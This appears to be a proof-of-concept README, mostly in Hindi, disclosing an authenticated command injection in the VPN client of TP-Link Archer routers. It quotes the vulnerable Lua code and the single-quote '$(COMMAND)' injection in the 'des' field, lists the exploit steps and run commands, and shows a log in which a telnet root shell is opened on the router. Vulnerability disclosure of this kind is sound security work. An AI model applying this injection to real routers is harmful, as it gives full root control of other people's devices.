
Proof of Concept for the CVE-2026-22226
CVE-2026-22226 के लिए प्रूफ ऑफ कॉन्सेप्ट
TP-Link Archer वाई-फाई राउटर्स के VPN क्लाइंट में प्रमाणित LAN-साइड OS कमांड इंजेक्शन
VPN क्लाइंट कंट्रोलर उपयोगकर्ता-नियंत्रित एंट्री विवरण (des) को कमजोर सत्यापन रेगेक्स के साथ UCI कॉन्फ़िगरेशन में संग्रहीत करता है। जब बाद में एंट्री को वापस पढ़ा जाता है (WebUI में संपादित करते समय), get_ovpn_data() des को एक उद्धृत शेल कमांड में शामिल करता है जो बिना किसी सैनिटाइज़ेशन के os.execute() को पास किया जाता है :
-- get_ovpn_data() in vpn.lua
file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)
एकल-उद्धरण वर्ण (') सत्यापन रेगेक्स को पार कर जाता है, जो शेल उद्धरण से बाहर निकलने और $() प्रतिस्थापन के माध्यम से कमांड इंजेक्ट करने के लिए पर्याप्त है। '$(COMMAND)' पर सेट एक des फ़ील्ड कमांड को निम्न में बदल देता है :
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit
ध्यान दें कि कमांड आउटपुट HTTP प्रतिक्रिया में कभी नहीं लौटाया जाता है, इसलिए इंजेक्शन ब्लाइंड है। यही कारण है कि हमें एक आउट-ऑफ-बैंड चैनल की आवश्यकता है (यहाँ PoC स्क्रिप्ट एक इंटरैक्टिव शेल प्राप्त करने के लिए telnetd सर्वर को स्पॉन करती है)।
[!Note] मैंने इस स्क्रिप्ट का परीक्षण केवल TP-Link Archer AX73 (AX5400, HW v2.0 EU, FW v1.2.1 - बिल्ड 20250717) पर किया, लेकिन अन्य Archer डिवाइस भी संभावित रूप से असुरक्षित हैं।
यह PoC निम्न प्रक्रिया का पालन करता है :
admin के रूप में प्रमाणित करें.ovpn कॉन्फ़िगरेशन फ़ाइल अपलोड करेंdes फ़ील्ड के साथ VPN क्लाइंट एंट्री सम्मिलित करें, एकल-उद्धृत संदर्भ से बचकर और कमांड प्रतिस्थापन के माध्यम से हमारे पेलोड को इंजेक्ट करेंget_ovpn_data() को ट्रिगर करें, जो ज़हरीले des को os.execute() में फीड करता है[!Warning] इस भेद्यता का शोषण राउटर पर
rootके रूप में OS कमांड निष्पादन (पूर्ण डिवाइस समझौता) की ओर ले जाता है, जो अनुमत एकल-उद्धरण वर्ण के माध्यम सेdesइनपुट सत्यापन को बायपास करता है।
Python निर्भरताएँ स्क्रिप्ट में इनलाइन घोषित की गई हैं, इसलिए आप इसे सीधे आधुनिक Python प्रोजेक्ट मैनेजर के साथ चला सकते हैं, या pip के साथ मैन्युअल रूप से स्थापित कर सकते हैं :
# using pipx
pipx run poc.py
# using uv
uv run poc.py
# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py
लक्ष्य IP, क्रेडेंशियल्स और पेलोड को poc.py में सेट करें
स्क्रिप्ट चलाएँ :
$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
$ telnet 192.168.0.1 1337
BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux